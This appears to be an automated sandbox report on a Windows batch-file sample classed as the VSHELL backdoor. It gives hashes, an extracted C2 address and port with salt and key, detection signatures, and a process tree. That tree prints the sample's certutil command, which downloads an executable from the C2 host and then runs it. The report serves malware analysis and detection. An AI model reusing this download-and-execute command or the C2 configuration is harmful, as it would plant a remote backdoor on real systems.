Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 01:46
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_081843cbfae3915168e16967f2ff4eb3663e55fd98cf66a7642942c34b0c4cff.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target jaffacakes118_081843cbfae3915168e16967f2ff4eb3663e55fd98cf66a7642942c34b0c4cff.bat
- Size 512B
- Sample260910-b665kacm4w
- SHA256 081843cbfae3915168e16967f2ff4eb3663e55fd98cf66a7642942c34b0c4cff
- MD5 9457a5f5d74e72480d37f128b61ee09f
- SHA1 8868b573016668c62a0344574f93cfc05bd29c00
- SHA512 db918566a3f5b6b71b27dc629ef9ad520506a903c7dd8cdab54f1d8fa79fb25de82ff6d130d070ea4a7851e1b8b5f43dad28f8e66fb663630adc5e515b65c817
- TLSH T13CF09ECD18324EBE0FC9C873F459A186B40AA0CCCAA1A5D51B9126DD4E480D832EBB93
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
107.173.101.114
Attributes
-
port
10000
-
salt
qwWVRFS
-
type
tcp
-
vkey
qwwrvd
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/1612-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 1920 certutil.exe 6 1920 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 1612 b583e657tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5840 cmd.exe 2180 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 3372 WMIC.exe 3372 WMIC.exe 3372 WMIC.exe 3372 WMIC.exe 1612 b583e657tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3372 WMIC.exe Token: SeSecurityPrivilege 3372 WMIC.exe Token: SeTakeOwnershipPrivilege 3372 WMIC.exe Token: SeLoadDriverPrivilege 3372 WMIC.exe Token: SeSystemProfilePrivilege 3372 WMIC.exe Token: SeSystemtimePrivilege 3372 WMIC.exe Token: SeProfSingleProcessPrivilege 3372 WMIC.exe Token: SeIncBasePriorityPrivilege 3372 WMIC.exe Token: SeCreatePagefilePrivilege 3372 WMIC.exe Token: SeBackupPrivilege 3372 WMIC.exe Token: SeRestorePrivilege 3372 WMIC.exe Token: SeShutdownPrivilege 3372 WMIC.exe Token: SeDebugPrivilege 3372 WMIC.exe Token: SeSystemEnvironmentPrivilege 3372 WMIC.exe Token: SeRemoteShutdownPrivilege 3372 WMIC.exe Token: SeUndockPrivilege 3372 WMIC.exe Token: SeManageVolumePrivilege 3372 WMIC.exe Token: 33 3372 WMIC.exe Token: 34 3372 WMIC.exe Token: 35 3372 WMIC.exe Token: 36 3372 WMIC.exe Token: SeIncreaseQuotaPrivilege 3372 WMIC.exe Token: SeSecurityPrivilege 3372 WMIC.exe Token: SeTakeOwnershipPrivilege 3372 WMIC.exe Token: SeLoadDriverPrivilege 3372 WMIC.exe Token: SeSystemProfilePrivilege 3372 WMIC.exe Token: SeSystemtimePrivilege 3372 WMIC.exe Token: SeProfSingleProcessPrivilege 3372 WMIC.exe Token: SeIncBasePriorityPrivilege 3372 WMIC.exe Token: SeCreatePagefilePrivilege 3372 WMIC.exe Token: SeBackupPrivilege 3372 WMIC.exe Token: SeRestorePrivilege 3372 WMIC.exe Token: SeShutdownPrivilege 3372 WMIC.exe Token: SeDebugPrivilege 3372 WMIC.exe Token: SeSystemEnvironmentPrivilege 3372 WMIC.exe Token: SeRemoteShutdownPrivilege 3372 WMIC.exe Token: SeUndockPrivilege 3372 WMIC.exe Token: SeManageVolumePrivilege 3372 WMIC.exe Token: 33 3372 WMIC.exe Token: 34 3372 WMIC.exe Token: 35 3372 WMIC.exe Token: 36 3372 WMIC.exe Token: SeDebugPrivilege 1612 b583e657tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 5840 wrote to memory of 2180 5840 cmd.exe 90 PID 2180 wrote to memory of 3372 2180 cmd.exe 91 PID 2180 wrote to memory of 6092 2180 cmd.exe 92 PID 5840 wrote to memory of 1920 5840 cmd.exe 94 PID 5840 wrote to memory of 1612 5840 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_081843cbfae3915168e16967f2ff4eb3663e55fd98cf66a7642942c34b0c4cff.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5840 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3372
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:6092
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\b583e657tcp.exe"2⤵
- Downloads MZ/PE file
PID:1920
-
-
C:\Users\Public\b583e657tcp.exe"C:\Users\Public\b583e657tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\b583e657tcp.exe
- Size 3KB
- SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
- MD5 6a1c343bec9f0ae29f493a0a93206542
- SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
- SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
- TLSH T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
- MD5 SHA1 SHA512 TLSH